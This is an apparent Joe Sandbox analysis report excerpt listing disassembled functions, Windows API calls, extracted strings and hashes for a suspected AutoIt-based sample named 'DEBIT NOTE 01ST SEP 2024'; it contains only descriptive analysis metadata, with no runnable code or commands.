                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Variant$Copy$ContainedObject$ClearErrorLast_malloc
                                          • String ID: AutoIt3GUI$Container
                                          • API String ID: 2652923123-3941886329
                                          • Opcode ID: 662e4c56437cfc6d97a34dfd7b47562ea5a254ee8eeedf1ae9933f7f1d1523bc
                                          • Instruction ID: 68a0a4eee7c61d0b7a6187be62517e39d581686f9474de6139c94a20f06104f0
                                          • Opcode Fuzzy Hash: 662e4c56437cfc6d97a34dfd7b47562ea5a254ee8eeedf1ae9933f7f1d1523bc
                                          • Instruction Fuzzy Hash: 68A15D746006059FDB10DF69C881B6BB7E4FF88704F24896AEA09CB351EB75E841CB65
                                          Function 0044F3F4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 185COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmove_strncmp
                                          • String ID: U$\
                                          • API String ID: 2666721431-100911408
                                          • Opcode ID: a4fdddafd13fd2658ce45903ac35fff56edfd8920f85f030d52c4513684e2ed7
                                          • Instruction ID: d3eef72359a6f1828d14317ef8b56b8bfbdd52bf5bc7584d89ae5f72f5b530e1
                                          • Opcode Fuzzy Hash: a4fdddafd13fd2658ce45903ac35fff56edfd8920f85f030d52c4513684e2ed7
                                          • Instruction Fuzzy Hash: 13718F70E00245CFEF24CFA9C9906AEFBF2AF99304F24826ED445A7345D778A946CB15
                                          Function 00467215 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 181shareCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00410160: _wcslen.LIBCMT ref: 00410162
                                            • Part of subcall function 00410160: _wcscpy.LIBCMT ref: 00410182
                                          • __wcsnicmp.LIBCMT ref: 00467288
                                          • WNetUseConnectionW.MPR(00000000,?,00000000,?,00000000,?,00000000,?), ref: 0046732E
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Connection__wcsnicmp_wcscpy_wcslen
                                          • String ID: LPT
                                          • API String ID: 3035604524-1350329615
                                          • Opcode ID: df00d6e4b866e053a8717e7cd00b83b505630e9b2d4c108cf88e8e3b58e1c49d
                                          • Instruction ID: cd88b7ab87c5f5a0ce5478f82160e7cdfa8c7cefd9f65e810a8a3337a25aa570
                                          • Opcode Fuzzy Hash: df00d6e4b866e053a8717e7cd00b83b505630e9b2d4c108cf88e8e3b58e1c49d
                                          • Instruction Fuzzy Hash: FB51E675A04204ABDB10DF54CC81FAFB7B5AB84708F10855EF905AB381E778EE85CB99
                                          Function 0044F082 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 161COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmove
                                          • String ID: \$h
                                          • API String ID: 4104443479-677774858
                                          • Opcode ID: a8076df7cf2e4be12816d18a067c44a6d5606508540493043604d0ea2b9ab827
                                          • Instruction ID: de34c7bb2fe7d28e42aef252d9636822906cf09101983ade98a7172327fa6e04
                                          • Opcode Fuzzy Hash: a8076df7cf2e4be12816d18a067c44a6d5606508540493043604d0ea2b9ab827
                                          • Instruction Fuzzy Hash: F551A370E002098FDF18CFA9C980AAEB7F2BFC9304F28826AD405AB345D7389D45CB55
                                          Function 0043999F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memcmp
                                          • String ID: &
                                          • API String ID: 2931989736-1010288
                                          • Opcode ID: a81d5415846f9cf6a42c700ef8b5aeadd08d018be41d214ef7d3fe054b701e0f
                                          • Instruction ID: 5cd53615f07abd051f481cac668b43ae4088e938354b3ed51608dfeeaf990cc9
                                          • Opcode Fuzzy Hash: a81d5415846f9cf6a42c700ef8b5aeadd08d018be41d214ef7d3fe054b701e0f
                                          • Instruction Fuzzy Hash: EC517BB1A0011A9FDB18CF95D891ABFB7B5FF88300F14915AE815A7344D278AE42CBA4
                                          Function 0044D3D5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmove
                                          • String ID: \
                                          • API String ID: 4104443479-2967466578
                                          • Opcode ID: 59d63d8f709c00c8b633315d640480ed85dcad38184220530ca382b626518ab4
                                          • Instruction ID: e0e732097d18f8f10327b86eac3a97b4532b2e4be511d275227a7a0ca48fbcca
                                          • Opcode Fuzzy Hash: 59d63d8f709c00c8b633315d640480ed85dcad38184220530ca382b626518ab4
                                          • Instruction Fuzzy Hash: 2451C570E002498FEF24CFA9C8902AEFBB2BF95314F28826BD45597385D7395D86CB45
                                          Function 004667E1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 114networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • _wcslen.LIBCMT ref: 00466825
                                          • InternetCrackUrlW.WININET(?,00000000,?), ref: 0046682F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CrackInternet_wcslen
                                          • String ID: |
                                          • API String ID: 596671847-2343686810
                                          • Opcode ID: 629f28f3e202f2691df4b53306abf03f6cbb1f7e83fd6186c7c4399916927608
                                          • Instruction ID: c4ea99685e293915e64884ba1c360efc28696701351dc191072b09a6dd262d67
                                          • Opcode Fuzzy Hash: 629f28f3e202f2691df4b53306abf03f6cbb1f7e83fd6186c7c4399916927608
                                          • Instruction Fuzzy Hash: B1415076E10209ABDB00EFA5D881BEEB7B8FF58314F00002AE604A7291D7757916CBE5
                                          Function 0044835A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,00001132,00000000,?), ref: 00448446
                                          • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0044845F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend
                                          • String ID: '
                                          • API String ID: 3850602802-1997036262
                                          • Opcode ID: 21874a52306f08f821648492a7afc6200e27140433d35547b734f0a4523aa872
                                          • Instruction ID: ddf1801fc3b7a37e921bcadc6f33ff454999d78e89978ed9e0859c1643e2593c
                                          • Opcode Fuzzy Hash: 21874a52306f08f821648492a7afc6200e27140433d35547b734f0a4523aa872
                                          • Instruction Fuzzy Hash: 46418E71A002099FDB04CF98D880AEEB7B5FF59300F14816EED04AB341DB756952CFA5
                                          Function 0040F850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89COMMON
                                          Download Yara Rule
                                          APIs
                                          • _strlen.LIBCMT ref: 0040F858
                                            • Part of subcall function 0040F880: _memmove.LIBCMT ref: 0040F8C9
                                            • Part of subcall function 0040F880: _memmove.LIBCMT ref: 0040F8E3
                                          • _sprintf.LIBCMT ref: 0040F9AE
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmove$_sprintf_strlen
                                          • String ID: %02X
                                          • API String ID: 1921645428-436463671
                                          • Opcode ID: 767cb60b44986bc828a60f9d0ec6f7d4d26665b5612a1b4657e1e4afb2f114d1
                                          • Instruction ID: e5a937a20bc973e7022889ba35624413ac66f4a4f80aeb0e2d5e31f1d02bff57
                                          • Opcode Fuzzy Hash: 767cb60b44986bc828a60f9d0ec6f7d4d26665b5612a1b4657e1e4afb2f114d1
                                          • Instruction Fuzzy Hash: 3E21287270021436D724B66E8C82FDAB39CAF55744F50007FF501A76C1EABCBA1983AD
                                          Function 00451006 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0045109A
                                          • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004510A8
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend
                                          • String ID: Combobox
                                          • API String ID: 3850602802-2096851135
                                          • Opcode ID: 1b8a1482498e59a9e674e96fd5fabaeacd2ddbb1f8abcd0cc85bd7074ae773d5
                                          • Instruction ID: 528d1b292af097fd122ed4be4541c74d7578eb88e117dd2fe935d7ad7cd5862b
                                          • Opcode Fuzzy Hash: 1b8a1482498e59a9e674e96fd5fabaeacd2ddbb1f8abcd0cc85bd7074ae773d5
                                          • Instruction Fuzzy Hash: 0A21A5716102096BEB10DE68DC85FDB3398EB59734F20431AFA24A72D1D3B9EC958768
                                          Function 00451321 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetWindowTextLengthW.USER32(00000000), ref: 0045134A
                                          • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 0045135A
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: LengthMessageSendTextWindow
                                          • String ID: edit
                                          • API String ID: 2978978980-2167791130
                                          • Opcode ID: 458bf78cb5436efb918afa53a1743a3d6784074bbf07c1e17ba5dfdf6e920bd9
                                          • Instruction ID: 5a0e340068a0ba28dc4d1c90c86d8b7761b767731f3a1bde811fb9e5560a91dc
                                          • Opcode Fuzzy Hash: 458bf78cb5436efb918afa53a1743a3d6784074bbf07c1e17ba5dfdf6e920bd9
                                          • Instruction Fuzzy Hash: BB2190761102056BEB108F68D894FEB33ADEB89339F10471AFD64D36E1C279DC458B68
                                          Function 00476CA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72sleepCOMMON
                                          Download Yara Rule
                                          APIs
                                          • Sleep.KERNEL32(00000000), ref: 00476CB0
                                          • GlobalMemoryStatusEx.KERNEL32 ref: 00476CC3
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: GlobalMemorySleepStatus
                                          • String ID: @
                                          • API String ID: 2783356886-2766056989
                                          • Opcode ID: e336f3d3cf010bdb765bf3cd25e4316ec625df5f035adc8ff92848a8f4c166eb
                                          • Instruction ID: 7847cb5f82098321599ebf91c79b9dffd15eff11c36c925ad8cec94a5f412430
                                          • Opcode Fuzzy Hash: e336f3d3cf010bdb765bf3cd25e4316ec625df5f035adc8ff92848a8f4c166eb
                                          • Instruction Fuzzy Hash: 67217130508F0497C211BF6AAC4AB5E7BB8AF84B15F01886DF9C8A14D1DF745528C76F
                                          Function 00465225 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: htonsinet_addr
                                          • String ID: 255.255.255.255
                                          • API String ID: 3832099526-2422070025
                                          • Opcode ID: bffbf838f8b6926ef71edb3efae5563a838ccfa537518f0e0f8b175b1623bbd9
                                          • Instruction ID: fb726eff09ff94cff080b531f734a3fd27281744828c6f3d0166551fa69e616e
                                          • Opcode Fuzzy Hash: bffbf838f8b6926ef71edb3efae5563a838ccfa537518f0e0f8b175b1623bbd9
                                          • Instruction Fuzzy Hash: 5211E732600304ABCF10DF69EC85FAA73A8EF45324F04455BF9049B392D635E4518B59
                                          Function 0044256C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 004425F8
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: InternetOpen
                                          • String ID: <local>
                                          • API String ID: 2038078732-4266983199
                                          • Opcode ID: 84bf365b150010c194f632228c20f1475d6fe654e04a12f862fc2198fde258ef
                                          • Instruction ID: 93d8b03a482712ff69e4757b1f2b0d1c201104d099b6cd2898bf81ba059b6d15
                                          • Opcode Fuzzy Hash: 84bf365b150010c194f632228c20f1475d6fe654e04a12f862fc2198fde258ef
                                          • Instruction Fuzzy Hash: 9311C270680710BAF720CB548E62FBA77E8BB24B01F50844BF9429B6C0D6F4B944D7A9
                                          Function 004321A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __fread_nolock_memmove
                                          • String ID: EA06
                                          • API String ID: 1988441806-3962188686
                                          • Opcode ID: e45c56eab20c3bcfe4a359df8a9ba3729120cfe0f4e9d091ae644268b7df8977
                                          • Instruction ID: b3ef0f2836274d974f80c1c05754fec17bf4118f678989acdc9742ef3c25ced0
                                          • Opcode Fuzzy Hash: e45c56eab20c3bcfe4a359df8a9ba3729120cfe0f4e9d091ae644268b7df8977
                                          • Instruction Fuzzy Hash: 7D014971904228ABCF18DB99DC56EFEBBF49F55301F00859EF59793281D578A708CBA0
                                          Function 00442BB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmove
                                          • String ID: u,D
                                          • API String ID: 4104443479-3858472334
                                          • Opcode ID: a09dc1741948e98e7df597fac067bc9d4c41fa761799cf9fa5b02ea5b7d8fd51
                                          • Instruction ID: 1e149f93898fe9afff494952afced4f728167d7c2cca3c00b97e401526751dc1
                                          • Opcode Fuzzy Hash: a09dc1741948e98e7df597fac067bc9d4c41fa761799cf9fa5b02ea5b7d8fd51
                                          • Instruction Fuzzy Hash: 4FF04C722007045AE3149E6ADC41FD7B7ECDBD8714F50442EF74997241E1B8A9858764
                                          Function 004560F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,00001001,00000000,?), ref: 004560FE
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                          • wsprintfW.USER32 ref: 0045612A
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
